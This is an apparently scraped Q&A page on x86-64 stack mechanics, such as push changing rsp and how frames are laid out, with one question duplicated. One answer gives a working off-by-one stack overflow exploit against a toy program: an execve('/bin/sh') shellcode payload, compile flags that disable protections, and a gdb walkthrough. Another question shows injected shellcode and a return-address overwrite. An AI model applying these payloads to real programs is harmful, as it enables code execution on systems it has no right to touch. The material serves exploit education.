Do %rsp automatically change? [duplicate] - c

This question already has answers here:
how does push and pop work in assembly
(2 answers)
How does the stack work in assembly language?
(17 answers)
What are the x86 instructions that affect ESP as a side effect?
(2 answers)
Closed 2 years ago.
I am examining this code snippet from Ericksons Hacking: The Art of Exploitation:
void test_function(int a, int b, int c, int d) {
int flag;
char buffer[10];
flag = 31337;
buffer[0] = 'A';
}
int main() {
test_function(1, 2, 3, 4);
}
gcc -g stack_example.c
gdb -q ./a.out
gef➤list main
0x555555555192 <main+0> endbr64
0x555555555196 <main+4> push rbp
0x555555555197 <main+5> mov rbp, rsp
→ 0x55555555519a <main+8> mov ecx, 0x4
0x55555555519f <main+13> mov edx, 0x3
0x5555555551a4 <main+18> mov esi, 0x2
0x5555555551a9 <main+23> mov edi, 0x1
0x5555555551ae <main+28> call 0x555555555149 <test_function>
0x5555555551b3 <main+33> mov eax, 0x0
I set breakpoints at main and at the test_function.
When break main I got following output:
gef➤ i r rsp rbp rip
rsp 0x7fffffffdfc8 0x7fffffffdfc8
rbp 0x0 0x0
rip 0x555555555192 0x555555555192 <main>
gef➤ x/8i $rip
0x555555555192 <main>: endbr64
0x555555555196 <main+4>: push rbp
0x555555555197 <main+5>: mov rbp,rsp
0x55555555519a <main+8>: mov ecx,0x4
0x55555555519f <main+13>: mov edx,0x3
0x5555555551a4 <main+18>: mov esi,0x2
0x5555555551a9 <main+23>: mov edi,0x1
0x5555555551ae <main+28>: call 0x555555555149 <test_function>
gef➤continue
And now when I break at the test_function, registers contain:
gef➤ i r rsp rbp rip
**rsp 0x7fffffffdfc0 0x7fffffffdfc0**
**rbp 0x7fffffffdfc0 0x7fffffffdfc0**
rip 0x55555555519a 0x55555555519a <main+8>
And my question is, why the register rsp changes from 0x7fffffffdfc8 to 0x7fffffffdfc0 after these instructions?
0x555555555196 <main+4> push rbp
0x555555555197 <main+5> mov rbp, rsp

The instruction push rbp accomplishes the same as sub rsp, 8; mov QWORD PTR[rsp], rbp;. It first moves the stack pointer (rsp) up 8 bytes (this is because the size of a register in x86-64 is 8 bytes i.e. 64 bits), then moves the value of the register at the memory location pointed by it. Therefore, the value of rsp, which was 0x7fffffffdfc8, becomes 0x7fffffffdfc0, which is 8 less than before.

Related

Why does the push instruction change the value of rsp? [duplicate]

This question already has answers here:
how does push and pop work in assembly
(2 answers)
How does the stack work in assembly language?
(17 answers)
What are the x86 instructions that affect ESP as a side effect?
(2 answers)
Closed 2 years ago.
I am examining this code snippet from Ericksons Hacking: The Art of Exploitation:
void test_function(int a, int b, int c, int d) {
int flag;
char buffer[10];
flag = 31337;
buffer[0] = 'A';
}
int main() {
test_function(1, 2, 3, 4);
}
gcc -g stack_example.c
gdb -q ./a.out
gef➤list main
0x555555555192 <main+0> endbr64
0x555555555196 <main+4> push rbp
0x555555555197 <main+5> mov rbp, rsp
→ 0x55555555519a <main+8> mov ecx, 0x4
0x55555555519f <main+13> mov edx, 0x3
0x5555555551a4 <main+18> mov esi, 0x2
0x5555555551a9 <main+23> mov edi, 0x1
0x5555555551ae <main+28> call 0x555555555149 <test_function>
0x5555555551b3 <main+33> mov eax, 0x0
I set breakpoints at main and at the test_function.
When break main I got following output:
gef➤ i r rsp rbp rip
rsp 0x7fffffffdfc8 0x7fffffffdfc8
rbp 0x0 0x0
rip 0x555555555192 0x555555555192 <main>
gef➤ x/8i $rip
0x555555555192 <main>: endbr64
0x555555555196 <main+4>: push rbp
0x555555555197 <main+5>: mov rbp,rsp
0x55555555519a <main+8>: mov ecx,0x4
0x55555555519f <main+13>: mov edx,0x3
0x5555555551a4 <main+18>: mov esi,0x2
0x5555555551a9 <main+23>: mov edi,0x1
0x5555555551ae <main+28>: call 0x555555555149 <test_function>
gef➤continue
And now when I break at the test_function, registers contain:
gef➤ i r rsp rbp rip
**rsp 0x7fffffffdfc0 0x7fffffffdfc0**
**rbp 0x7fffffffdfc0 0x7fffffffdfc0**
rip 0x55555555519a 0x55555555519a <main+8>
And my question is, why the register rsp changes from 0x7fffffffdfc8 to 0x7fffffffdfc0 after these instructions?
0x555555555196 <main+4> push rbp
0x555555555197 <main+5> mov rbp, rsp
The instruction push rbp accomplishes the same as sub rsp, 8; mov QWORD PTR[rsp], rbp;. It first moves the stack pointer (rsp) up 8 bytes (this is because the size of a register in x86-64 is 8 bytes i.e. 64 bits), then moves the value of the register at the memory location pointed by it. Therefore, the value of rsp, which was 0x7fffffffdfc8, becomes 0x7fffffffdfc0, which is 8 less than before.

Offbyone buffer overflow NULL byte in payload

So I was trying Offbyone Buffer overflow with the help of this following simple code
#include <string.h>
void cpy(char *x){
char buf[128]="";
strncat(buf,x,sizeof(buf));
}
int main(int argc, char **argv)
{
cpy(argv[1]);
}
As this diagram depicts how an Offbyone buffer over flow works
Taken from : https://www.sans.org/reading-room/whitepapers/threats/buffer-overflows-dummies-481
Here is the Disassembly of main and cpy
Here is the payload that I used
Memory dumps
So using the buffer , in the Cpy stack frame i change the value of the saved RBP's least significant byte to 00 ( because of the Offbyone overflow achieved by providing exactly 128byte input )
As you can see the address 0x7fffffffe177 has stored EBP whose value is changed from 0x7fffffffe190 to 0x7fffffffe100
So I went ahead and had the starting address of my payload at the address 0x7fffffffe10F which is also the return address of main
which is supposed to be 0xffffe110 0x00007fff instead of 0xffffe110 0x90907fff but since we shouldn't have 00 in payload I am not able to set the return address because since it's an 64bit address is of 8byte long 0xffffe110 0x00007fff
So how exactly should we have the return address here ?
And since the image of the memory dump, in break point 1 , its the cpy function frame why is argc and argv [] on the top of the stack ?
I am new to Exploit writing and all the help will be much appreciated .
So let's start with a description of the trick that can be used to set the desired return address value without passing zero bytes in payload.
I've changed your code a little bit to make it easier to do the trick. Here is new code:
#include <string.h>
int i;
void cpy(char *x) {
char buf[128];
for (i = 0; i <= 128; ++i) {
buf[i] = x[i];
}
}
int main(int argc, char **argv) {
cpy(argv[1]);
return 0;
}
The main difference is that now we can control the value of the less significant byte of saved rbp. In your example we only can set it to zero.
So here the stack frame of our cpy function:
#rbp - saved base stack pointer of main function
#rsp - stack pointer at the start of cpy function (right after push rbp)
The trick is that we overwrite the last byte in such way that #rbp = #rsp - 8. So when we return from main function $rbp will be equal to #rsp - 8 and thus return address will be 8 bytes before #rsp - 8 i.e. also #rsp - 8!
After return from main we will jump to #rsp - 8. So now we simply put jmp to shellcode at this address and we are done:
But in your original example this trick can't be done because we can't control value of less significant byte of #rbp.
It should also be noted that this trick will not work if #rbp and #rsp differ more than in one last byte.
And finally here is exploit.
Compile code with executable stack and without stack protection:
$ gcc test.c -o test -z execstack -fno-stack-protector
Get byte code for our jmp to shellcode:
$ rasm2 -a x86 -b 64 'jmp -0x50'
ebae
Exploit under gdb:
$ gdb --args test $(python -c 'print "\x90" * 91 + "\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05" + "\xeb\xb8" + "a" * 6 + "\xc8"')
>>> b cpy
>>> b *cpy+90
>>> r
Breakpoint 1, 0x00000000004004aa in cpy ()
So here is saved rbp:
>>> x/1gx $rbp
0x7fffffffd3d0: 0x00007fffffffd3f0
Here is rsp at the start of cpy function:
>>> p/x $rsp
$1 = 0x7fffffffd3d0
The value of rbp which we want to get after return from cpy (that's why last byte of payload is \xc8)
>>> p/x $rsp - 8
$2 = 0x7fffffffd3c8
Continue to the end of cpy:
>>> c
Breakpoint 2, 0x0000000000400500 in cpy ()
Asm code of cpy:
>>> disassemble cpy
Dump of assembler code for function cpy:
0x00000000004004a6 <+0>: push rbp
0x00000000004004a7 <+1>: mov rbp,rsp
0x00000000004004aa <+4>: sub rsp,0x10
0x00000000004004ae <+8>: mov QWORD PTR [rbp-0x88],rdi
0x00000000004004b5 <+15>: mov DWORD PTR [rip+0x20046d],0x0 # 0x60092c <i>
0x00000000004004bf <+25>: jmp 0x4004f2 <cpy+76>
0x00000000004004c1 <+27>: mov eax,DWORD PTR [rip+0x200465] # 0x60092c <i>
0x00000000004004c7 <+33>: mov edx,DWORD PTR [rip+0x20045f] # 0x60092c <i>
0x00000000004004cd <+39>: movsxd rcx,edx
0x00000000004004d0 <+42>: mov rdx,QWORD PTR [rbp-0x88]
0x00000000004004d7 <+49>: add rdx,rcx
0x00000000004004da <+52>: movzx edx,BYTE PTR [rdx]
0x00000000004004dd <+55>: cdqe
0x00000000004004df <+57>: mov BYTE PTR [rbp+rax*1-0x80],dl
0x00000000004004e3 <+61>: mov eax,DWORD PTR [rip+0x200443] # 0x60092c <i>
0x00000000004004e9 <+67>: add eax,0x1
0x00000000004004ec <+70>: mov DWORD PTR [rip+0x20043a],eax # 0x60092c <i>
0x00000000004004f2 <+76>: mov eax,DWORD PTR [rip+0x200434] # 0x60092c <i>
0x00000000004004f8 <+82>: cmp eax,0x80
0x00000000004004fd <+87>: jle 0x4004c1 <cpy+27>
0x00000000004004ff <+89>: nop
=> 0x0000000000400500 <+90>: leave
0x0000000000400501 <+91>: ret
End of assembler dump.
Value of rbp after leave:
>>> ni
>>> p/x $rbp
$1 = 0x7fffffffd3c8
Execute till the end of main:
>>> ni
>>> ni
>>> ni
>>> disassemble
Dump of assembler code for function main:
0x0000000000400502 <+0>: push rbp
0x0000000000400503 <+1>: mov rbp,rsp
0x0000000000400506 <+4>: sub rsp,0x10
0x000000000040050a <+8>: mov DWORD PTR [rbp-0x4],edi
0x000000000040050d <+11>: mov QWORD PTR [rbp-0x10],rsi
0x0000000000400511 <+15>: mov rax,QWORD PTR [rbp-0x10]
0x0000000000400515 <+19>: add rax,0x8
0x0000000000400519 <+23>: mov rax,QWORD PTR [rax]
0x000000000040051c <+26>: mov rdi,rax
0x000000000040051f <+29>: call 0x4004a6 <cpy>
0x0000000000400524 <+34>: mov eax,0x0
0x0000000000400529 <+39>: leave
=> 0x000000000040052a <+40>: ret
End of assembler dump.
>>> ni
Now we at #rsp - 8 and here is our jmp to shellcode:
>>> disassemble $rip,+2
Dump of assembler code from 0x7fffffffd3c8 to 0x7fffffffd3ca:
=> 0x00007fffffffd3c8: jmp 0x7fffffffd382
End of assembler dump.
And finally shellcode:
>>> ni
>>> disassemble $rip,+0x50
Dump of assembler code from 0x7fffffffd382 to 0x7fffffffd3d2:
=> 0x00007fffffffd382: nop
0x00007fffffffd383: nop
0x00007fffffffd384: nop
0x00007fffffffd385: nop
...
0x00007fffffffd3ab: xor rdi,rdi
0x00007fffffffd3ae: push rdi
0x00007fffffffd3af: push rdi
0x00007fffffffd3b0: pop rsi
0x00007fffffffd3b1: pop rdx
0x00007fffffffd3b2: movabs rdi,0x68732f6e69622f2f
0x00007fffffffd3bc: shr rdi,0x8
0x00007fffffffd3c0: push rdi
0x00007fffffffd3c1: push rsp
0x00007fffffffd3c2: pop rdi
0x00007fffffffd3c3: push 0x3b
0x00007fffffffd3c5: pop rax
0x00007fffffffd3c6: syscall

Stack frame creation in 64 bit machine

I'm just learning some low level analysis of the programs. In 32 bit compilation with gcc, I found that the stack frame is created in the following order:
Push the function arguments in reverse order.
Save the return address
Save the frame pointer
Create the local variables
So the address of the arguments should be highest, as stack grows in reverse order. But when I tried the same with a 64 bit compilation, I cant understand how it's created, it's just the opposite of what I found in 32 bit compilation. Here is the code and memory details:
void test(int a, int b, int c, int d)
{
int flag;
char buf[10];
num = 100;
}
int main()
{
test(1, 2, 3, 4);
}
Right now for simplicity let's take only the arguments and return address.
32-bit compilation:
0xffffd130: 0x00000001 0xffffd1f4 0xffffd1fc 0xf7e3ad1d
0xffffd140: 0xffffd158 0x0804842d 0x00000001 0x00000002
0xffffd150: 0x00000003 0x00000004 0x00000000 0xf7e22933
0xffffd160: 0x00000001 0xffffd1f4 0xffffd1fc 0xf7fdb6b0
0x08048421 <+30>: mov DWORD PTR [esp],0x1
0x08048428 <+37>: call 0x80483f0 <test>
0x0804842d <+42>: leave
Here everything is proper. I can see the arguments at higher address, immediately followed by the return address 0x0804842d which is at lower address. Now,
64-bit compilation:
0x7fffffffdf80: 0x00000004 0x00000003 0x00000002 0x00000001
0x7fffffffdf90: 0x00400530 0x00000000 0x00400400 0x00000000
0x7fffffffdfa0: 0xffffdfb0 0x00007fff 0x0040052a 0x00000000
0x7fffffffdfb0: 0x00000000 0x00000000 0xf7a3baf5 0x00007fff
0x0000000000400525 <+24>: call 0x4004f0 <test>
0x000000000040052a <+29>: pop rbp
0x000000000040052b <+30>: ret
Here I can see that the arguments are at a lower address and the return address 0x0040052a is at a higher address. What is the problem here? is the stack growing in an opposite direction (lower to higher address) or the creation of stack frame is different from the above mentioned sequence? Please help me to understand. Thanks.
On x86-64 the standard way of passing arguments is through the use of registers, not the stack (unless you got more than 6). See http://www.x86-64.org/documentation/abi.pdf
I highly recommend not doing any kind of experimentation without reading proper documents first (like the one I just linked).
Anyway, you could easily see the arguments were not passed on the stack if you disassembled main:
0x0000000000400509 <+0>: push %rbp
0x000000000040050a <+1>: mov %rsp,%rbp
0x000000000040050d <+4>: mov $0x4,%ecx
0x0000000000400512 <+9>: mov $0x3,%edx
0x0000000000400517 <+14>: mov $0x2,%esi
0x000000000040051c <+19>: mov $0x1,%edi
0x0000000000400521 <+24>: callq 0x4004f0 <test>
0x0000000000400526 <+29>: pop %rbp
0x0000000000400527 <+30>: retq
And you could also see how they end up on the stack within test:
0x00000000004004f0 <+0>: push %rbp
0x00000000004004f1 <+1>: mov %rsp,%rbp
0x00000000004004f4 <+4>: mov %edi,-0x14(%rbp)
0x00000000004004f7 <+7>: mov %esi,-0x18(%rbp)
0x00000000004004fa <+10>: mov %edx,-0x1c(%rbp)
0x00000000004004fd <+13>: mov %ecx,-0x20(%rbp)
0x0000000000400500 <+16>: movl $0x64,-0x4(%rbp)
0x0000000000400507 <+23>: pop %rbp
0x0000000000400508 <+24>: retq

Trying to execute a assembler bytestream as a C native function

I was trying to overwrite the return address of main() with the address of the shellcode that I wrote in assembly.
My assembly program :
ExitShell.asm
SECTION .text
global _start
_start:
jmp short shellOffset
Shellcode:
pop esi
lea ecx, [esi]
mov dl, 12
mov bl, 1
mov al, 4
int 0x80
mov bl, 20
mov al, 1
int 0x80
shellOffset:
call Shellcode
msg db "Hello World",0xa
My .c file in which I am overwriting the return address :
ShellCode.c
#include<stdio.h>
char shellcode[] = "\xeb\x11\x5e\x8d\x0e\xb2\x0c\xb3\x01\xb0\x04\xcd\x80"\
"\xb3\x14\xb0\x01\xcd\x80\xe8\xea\xff\xff\xff"\
"\x48\x65\x6c\x6c\x6f\x20\x57\x6f\x72\x6c\x64\x0a";
void main()
{
int *ret;
ret = (int *)&ret + 2;
(*ret) = (int)shellcode;
}
I compiled the program with the following command :
gcc -O0 -o sh ShellCode.c -fno-stack-protector -zexec -fno-asynchronous-unwind-tables -g
When I executed the program, I received the segmentation fault error. Loading the program into gdb, I found that it was giving the error at ret statement in assembly
Dump of assembler code for function main:
0x080483b4 <+0>: push %ebp
0x080483b5 <+1>: mov %esp,%ebp
0x080483b7 <+3>: sub $0x10,%esp
0x080483ba <+6>: lea -0x4(%ebp),%eax
0x080483bd <+9>: add $0x8,%eax
0x080483c0 <+12>: mov %eax,-0x4(%ebp)
0x080483c3 <+15>: mov -0x4(%ebp),%eax
0x080483c6 <+18>: mov $0x804a040,%edx
0x080483cb <+23>: mov %edx,(%eax)
0x080483cd <+25>: leave
=> 0x080483ce <+26>: ret
What is the issue? I am new to this.
This can have many reasons. You disabled the stack smashing detector, but that doesn't mean, that ret in main is going to be allocated right after the return address. The compiler and linker have some leeway in aligning the variables' addresses to improve performance or to satisfy CPU alignment requirements.
Another issue is, that shellcode will be placed in the .data segment, which may be set nonexecutable, so main returning to shellcode would trigger that trap.

C & Nasm64 combination - stack alignment, epilogue, prologue - OSX 64

The following program causing a segmentation fault and I don't seem to understand why:
//something.c
int somefunc3();
void somefunc2();
void* globalptr;
void somefunc1(void* regs)
{
globalptr = regs;
somefunc2();
}
int foo()
{
return somefunc3();
}
int main(void)
{
show_all_registers();
foo();
show_all_registers();
}
asm:
//something1.asm
extern _somefunc1
global _somefunc2
global _somefunc3
section .text
%macro RESTORE_REGISTERS 0
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
%endmacro
%macro SAVE_REGISTERS 0
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
push rcx
%endmacro
_somefunc3:
push rbp
mov rbp, rsp
SAVE_REGISTERS
mov rdi, rsp
sub rsp,8
call _somefunc1
add rsp,8
pop rbp
ret
_somefunc2:
push rbp
mov rbp, rsp
RESTORE_REGISTERS
pop rbp
ret
few notes:
Please don't try to understand what this program does because you won't find anything that makes sense. This is just a user mode app which I created in order to understand something.
show_all_registers is just a function that prints out to the screen all of the 64 bit registers.
Here's what happens before it crashes:
64 Bit registers:
RAX=10767ad00, RCX=1, RDX=10767ab70, RBX=0, RSP=7fff58585bd0, RBP=7fff58585bd0, RSI=20000000200, RDI=7
Segmentation fault: 11
Using GDB it seems that the crash occurs on somefunc2 (When restoring the registers)
I think that it has something to do with stack alignment or the epilogues & epilogues I wrote for the ASM functions. Still kinda newbie so it is most likely something silly.
thanks
Your function epilogues are incorrect. You're missing the mov rsp, rbp, so your stack frame is totally off at return time.
A proper function would be:
push rbp
mov rbp, rsp
sub rsp, [size of local variables]
...
mov rsp, rbp
pop rbp
ret
Or you can simplify with the LEAVE instruction:
push rbp
mov rbp, rsp
sub rsp, [size of local variables]
...
leave
ret

Resources